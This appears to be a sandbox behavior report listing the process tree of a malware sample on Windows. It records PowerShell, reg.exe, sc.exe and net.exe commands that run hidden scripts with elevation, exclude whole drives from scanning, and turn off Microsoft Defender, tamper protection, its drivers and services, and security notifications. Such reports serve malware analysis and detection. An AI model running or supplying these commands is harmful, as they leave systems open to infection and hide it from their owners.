C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command "& {Get-Content -Path "'C:\Users\Admin\AppData\Local\Temp\NhStart3.cmd'" | Out-File -FilePath "'C:\Users\Admin\AppData\Local\Temp\Start3.cmd'" -Encoding ascii}" -Wait8⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\Start3.cmd' -verb runas -windowstyle hidden"8⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Start3.cmd"9⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\wmic.exe process where "name like '%cmd.exe%'" CALL setpriority "high priority"10⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\wmic.exe process where "name like '%PowerShell.exe%'" CALL setpriority "high priority"10⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\stwinvr.cmd' -verb runas -windowstyle hidden"10⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\stwinvr.cmd"11⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe Set-MpPreference -ExclusionExtension bat12⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command Set-MpPreference -MAPSReporting Disable12⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command Set-MpPreference -SubmitSamplesConsent NeverSend12⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -command Set-MpPreference -PUAProtection disable12⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -command Set-MpPreference -ScanScheduleDay "8"12⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -command Set-MpPreference -HighThreatDefaultAction "9"12⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -command Set-MpPreference -ModerateThreatDefaultAction "9"12⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -command Set-MpPreference -LowThreatDefaultAction "9"12⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -command Set-MpPreference -SevereThreatDefaultAction "9"12⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true12⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:"10⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"10⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\SysWOW64\en"10⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Public"10⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\L2cache"10⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\ProgramData"10⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Tfile"10⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Tweaker"10⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe Set-MpPreference -ExclusionExtension cmd10⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe Set-MpPreference -ExclusionExtension exe10⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\net.exeC:\Windows\System32\NET.exe stop windefend10⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop windefend11⤵
-
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\System32\SC.exe config windefend start=disabled10⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v TeamViewer /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v TeamViewer /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /va /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmgr.exe" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v NoInteractiveServices /t REG_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v "DontShowUI" /t REG_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v Notification_Suppress /t REG_DWORD /d "00000001" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "00000001" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_SZ /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "00000001" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_SZ /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "00000001" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "00000001" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "00000001" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "00000001" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Virus and threat protection" /v "NoActionNotificationDisabled" /t REG_DWORD /d "00000001" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Virus and threat protection" /v "FilesBlockedNotificationDisabled" /t REG_DWORD /d "00000001" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Virus and threat protection" /v "SummaryNotificationDisabled" /t REG_DWORD /d "00000001" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRawWriteNotification /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScriptScanning /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIntrusionPreventionSystem /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableInformationProtectionControl /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v DisableArchiveScanning /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t reg_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t reg_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d "2" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d "2" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access" /v EnableControlledFolderAccess /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Scan" /v ScheduleDay /t REG_DWORD /d "8" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t reg_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t reg_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d "1" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t "REG_DWORD" /d "0" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t "REG_DWORD" /d "0" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v DisableAntiSpyware /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v Start /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\MsSecFlt" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SgrmAgent" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SgrmBroker" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Services\SgrmBroker" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\webthreatdefsvc" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\webthreatdefusersvc" /v "Start" /t REG_DWORD /d "4" /f /reg:6410⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v DisableAntiSpyware /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d "4" /f10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v Start /t REG_DWORD /d "4" /f10⤵
-
-
